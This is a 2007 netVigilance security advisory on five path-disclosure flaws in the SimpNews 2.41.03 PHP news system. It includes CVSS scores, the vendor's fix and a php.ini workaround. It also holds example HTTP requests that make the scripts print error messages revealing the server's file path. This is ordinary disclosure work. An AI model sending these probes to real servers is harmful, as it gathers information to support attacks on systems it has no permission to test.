netVigilance Security Advisory #68
SimpNews version 2.41.03 Multiple Path Disclosure Vulnerabilities
Description:
SimpNews is a news system written in PHP. Features: Data stored in MySQL, admin
interface, support for multiple languages, support for multiple instances in
one database, own header, multiple layout settings, support for BBCode
andsmilies, you can assin an icon graphic to every news entry, you can attach a
file to news entries, entries can be put in categories, users can subscribe to
get news sent by email, search entries, users can post comments on news
entries, event calendar, newsticker, option to let users propose news entries.
External References:
Mitre CVE: CVE-2007-4872
NVD NIST: CVE-2007-4872
OSVDB: ID requested but no answer received
Summary:
SimpNews is a news system written in PHP.
Security problems in the product allow attackers to gather the true path of the
server-side script.
Advisory URL:
http://www.netvigilance.com/advisory0068
Release Date:
09/25/2007
CVSS Version 2 Metrics:
Base Metrics:
Exploitability Metrics:
Access Vector:
Network
Access Complexity:
Low
Authentication:
None
Impact Metrics:
Confidentiality Impact:
Partial
Integrity Impact:
None
Availability Impact:
None
Temporal Metrics:
Exploitability:
Functional
Remediation Level:
Official Fix
Report Confidence:
Confirmed
CVSS Version 2 Vectors:
Base Vector:
"AV:N/AC:L/Au:N/C:P/I:N/A:N"
Temporal Vector:
"E:F/RL:OF/RC:C"
CVSS Version 2 Scores:
Base Score:
5
Impact Subscore:
2.9
Exploitability Subscore:
10
Temporal Score:
4.1
SecureScout Testcase ID:
TC 17987
Vulnerable Systems:
SimpNews version 2.41.03
Vulnerability Type:
Program flaws - The product scripts have flaws which lead to Warnings or even
Fatal Errors.
Vendor:
Bosch IT-Consulting
Vendor Status:
The Vendor has confirmed the problem and has release new version 2.42.01 that
addresses the problem. New version of product was tested and we can confirm
that all vulnerabilities were solved. For more information see vendor
announcement. To download the latest version go to vendors product download
area.
Workaround:
Disable warning messages: modify in the php.ini file following line:
display_errors = Off.
Or modify .htaccess file (this will work only for the apache servers).
Example:
Path Disclosure Vulnerability 1:
REQUEST:
http://[TARGET]/[PRODUCT DIRECTORY]/admin/index.php?lang=123
REPLY:
...<b>Warning</b>: main(./language/lang_123.php): failed to open stream: No
such file or directory in <b>[DISCLOSED PATH][PRODUCT
DIRECTORY]\admin\index.php</b> on line <b>11</b><br />
<b>Warning</b>: main(): Failed opening './language/lang_123.php' for inclusion
(include_path='.;c:\php4\pear') in <b>[DISCLOSED PATH][PRODUCT
DIRECTORY]\admin\index.php</b> on line <b>11</b><br />
<b>Warning</b>: Cannot modify header information - headers already sent by
(output started at [DISCLOSED PATH][PRODUCT DIRECTORY]\admin\index.php:11) in
<b>[DISCLOSED PATH][PRODUCT DIRECTORY]\admin\heading.php</b> on line
<b>87</b><br />
<b>Warning</b>: Cannot modify header information - headers already sent by
(output started at [DISCLOSED PATH][PRODUCT DIRECTORY]\admin\index.php:11) in
<b>[DISCLOSED PATH][PRODUCT DIRECTORY]\admin\heading.php</b> on line
<b>88</b><br />
<b>Warning</b>: Cannot modify header information - headers already sent by
(output started at [DISCLOSED PATH][PRODUCT DIRECTORY]\admin\index.php:11) in
<b>[DISCLOSED PATH][PRODUCT DIRECTORY]\admin\heading.php</b> on line
<b>89</b><br />
<b>Warning</b>: Cannot modify header information - headers already sent by
(output started at [DISCLOSED PATH][PRODUCT DIRECTORY]\admin\index.php:11) in
<b>[DISCLOSED PATH][PRODUCT DIRECTORY]\admin\heading.php</b> on line
<b>90</b><br />...
Path Disclosure Vulnerability 2:
REQUEST:
http://[TARGET]/[PRODUCT DIRECTORY]/admin/dbg_infos.php
REPLY:
<b>Parse error</b>: parse error, unexpected T_IF, expecting ',' or ';' in
<b>[DISCLOSED PATH][PRODUCT DIRECTORY]\admin\dbg_infos.php</b> on line
<b>34</b><br />
Path Disclosure Vulnerability 3:
REQUEST:
http://[TARGET]/[PRODUCT DIRECTORY]/admin/heading.php
REPLY:
<b>Warning</b>: mysql_query(): supplied argument is not a valid MySQL-Link
resource in <b>[DISCLOSED PATH][PRODUCT DIRECTORY]\admin\heading.php</b> on
line <b>17</b><br />
Path Disclosure Vulnerability 4:
This vulnerability can be exploited only with PHP version < 5.0.0 and MS
Windows hosting.
REQUEST:
http://[TARGET]/[PRODUCT DIRECTORY]/events.php?link_date=22007-02-17
REPLY:
<b>Warning</b>: mktime(): Windows does not support negative values for this
function in <b>[DISCLOSED PATH][PRODUCT DIRECTORY]\events.php</b> on line
<b>143</b><br />
<b>Warning</b>: date(): Windows does not support dates prior to midnight
(00:00:00), January 1, 1970 in <b>z[DISCLOSED PATH][PRODUCT
DIRECTORY]\events.php</b> on line <b>143</b><br />
Path Disclosure Vulnerability 5:
REQUEST:
http://[TARGET]/[PRODUCT DIRECTORY]/evsearch.php
REPLY:
<b>Parse error</b>: parse error, unexpected '{' in <b>[DISCLOSED PATH][PRODUCT
DIRECTORY]\evsearch.php</b> on line <b>599</b><br />
Credits:
Jesper Jurcenoks
Co-founder netVigilance, Inc
www.netvigilance.com
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